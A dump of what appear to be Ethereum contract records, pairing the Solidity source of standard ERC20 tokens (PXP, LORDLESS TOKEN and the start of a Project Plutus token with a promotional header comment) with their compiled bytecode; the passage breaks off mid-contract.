function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract PXP is StandardToken {
string public constant name = "PXP"; // solium-disable-line uppercase
string public constant symbol = "PXP"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant INITIAL_SUPPLY = 1 * (10 ** 9) * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function PXP() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a35780632ff2e9dc146101cb578063313ce567146101de578063661884631461020757806370a082311461022957806395d89b41146100be578063a9059cbb14610248578063d73dd6231461026a578063dd62ed3e1461028c575b600080fd5b34156100c957600080fd5b6100d16102b1565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a03600435166024356102e8565b604051901515815260200160405180910390f35b341561018957600080fd5b610191610354565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a036004358116906024351660443561035a565b34156101d657600080fd5b6101916104da565b34156101e957600080fd5b6101f16104ea565b60405160ff909116815260200160405180910390f35b341561021257600080fd5b61016a600160a060020a03600435166024356104ef565b341561023457600080fd5b610191600160a060020a03600435166105e9565b341561025357600080fd5b61016a600160a060020a0360043516602435610604565b341561027557600080fd5b61016a600160a060020a0360043516602435610716565b341561029757600080fd5b610191600160a060020a03600435811690602435166107ba565b60408051908101604052600381527f5058500000000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a038316151561037157600080fd5b600160a060020a03841660009081526020819052604090205482111561039657600080fd5b600160a060020a03808516600090815260026020908152604080832033909416835292905220548211156103c957600080fd5b600160a060020a0384166000908152602081905260409020546103f2908363ffffffff6107e516565b600160a060020a038086166000908152602081905260408082209390935590851681522054610427908363ffffffff6107f716565b600160a060020a038085166000908152602081815260408083209490945587831682526002815283822033909316825291909152205461046d908363ffffffff6107e516565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6b033b2e3c9fd0803ce800000081565b601281565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561054c57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610583565b61055c818463ffffffff6107e516565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b6000600160a060020a038316151561061b57600080fd5b600160a060020a03331660009081526020819052604090205482111561064057600080fd5b600160a060020a033316600090815260208190526040902054610669908363ffffffff6107e516565b600160a060020a03338116600090815260208190526040808220939093559085168152205461069e908363ffffffff6107f716565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205461074e908363ffffffff6107f716565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107f157fe5b50900390565b60008282018381101561080657fe5b93925050505600a165627a7a72305820292df3fabf63bc7648934dadfc20af6b0899191cf48bbaab6fc21a56d517a5e10029
|
{"success": true, "error": null, "results": {}}
| 3,351 |
0x7ca121b093e2fbd4bb9a894bd5ff487d16f1f83b
|
pragma solidity ^0.4.21;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/MintableToken.sol
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
// File: contracts/LORDLESS_TOKEN.sol
contract LORDLESS_TOKEN is MintableToken, BurnableToken {
string public constant name = "LORDLESS TOKEN"; // solium-disable-line uppercase
string public constant symbol = "LESS"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100f657806306fdde0314610123578063095ea7b3146101b157806318160ddd1461020b57806323b872dd14610234578063313ce567146102ad57806340c10f19146102dc57806342966c6814610336578063661884631461035957806370a08231146103b35780637d64bcb4146104005780638da5cb5b1461042d57806395d89b4114610482578063a9059cbb14610510578063d73dd6231461056a578063dd62ed3e146105c4578063f2fde38b14610630575b600080fd5b341561010157600080fd5b610109610669565b604051808215151515815260200191505060405180910390f35b341561012e57600080fd5b61013661067c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017657808201518184015260208101905061015b565b50505050905090810190601f1680156101a35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101bc57600080fd5b6101f1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106b5565b604051808215151515815260200191505060405180910390f35b341561021657600080fd5b61021e6107a7565b6040518082815260200191505060405180910390f35b341561023f57600080fd5b610293600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107b1565b604051808215151515815260200191505060405180910390f35b34156102b857600080fd5b6102c0610b6b565b604051808260ff1660ff16815260200191505060405180910390f35b34156102e757600080fd5b61031c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b70565b604051808215151515815260200191505060405180910390f35b341561034157600080fd5b6103576004808035906020019091905050610d56565b005b341561036457600080fd5b610399600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f0e565b604051808215151515815260200191505060405180910390f35b34156103be57600080fd5b6103ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061119f565b6040518082815260200191505060405180910390f35b341561040b57600080fd5b6104136111e7565b604051808215151515815260200191505060405180910390f35b341561043857600080fd5b6104406112af565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561048d57600080fd5b6104956112d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d55780820151818401526020810190506104ba565b50505050905090810190601f1680156105025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561051b57600080fd5b610550600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061130e565b604051808215151515815260200191505060405180910390f35b341561057557600080fd5b6105aa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061152d565b604051808215151515815260200191505060405180910390f35b34156105cf57600080fd5b61061a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611729565b6040518082815260200191505060405180910390f35b341561063b57600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117b0565b005b600360149054906101000a900460ff1681565b6040805190810160405280600e81526020017f4c4f52444c45535320544f4b454e00000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107ee57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108c657600080fd5b610917826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109aa826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bce57600080fd5b600360149054906101000a900460ff16151515610bea57600080fd5b610bff8260015461192190919063ffffffff16565b600181905550610c56826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610da557600080fd5b339050610df9826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190890919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e508260015461190890919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561101f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110b3565b611032838261190890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124557600080fd5b600360149054906101000a900460ff1615151561126157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4c4553530000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561134b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561139857600080fd5b6113e9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461190890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006115be82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561184857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561191657fe5b818303905092915050565b600080828401905083811015151561193557fe5b80915050929150505600a165627a7a72305820fcbb3b40d48c41f340ec287b2fc1e2de7ddc5126c293c8393609c057b55211c90029
|
{"success": true, "error": null, "results": {}}
| 3,352 |
0xf6125924e55a67047b888d60dce687ff2cc7fe0c
|
/*
LAUNCH ON DECEMBER 30TH
Project Plutus is a disruptive tokenized property ownership platform built in blockchain technology.
Project Plutus will have main token with $PLU as token symbol. $PLU is a crypto asset that refers to real-world properties value such as houses, buildings, arts, etc. located around the globe. Project Plutus is the new innovation in property industry which designed to highly benefit long-term investors/ token holders and hopefully will be a disruptive aspect in this field. $PLU token will be used to buy all kind of properties either full ownership or in fractional basis also $PLU token holders will have a chance to get a portion of platform revenue sharing depend on the properties they choose to claim.
Find more details:
🌐 https://plutus.property/
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
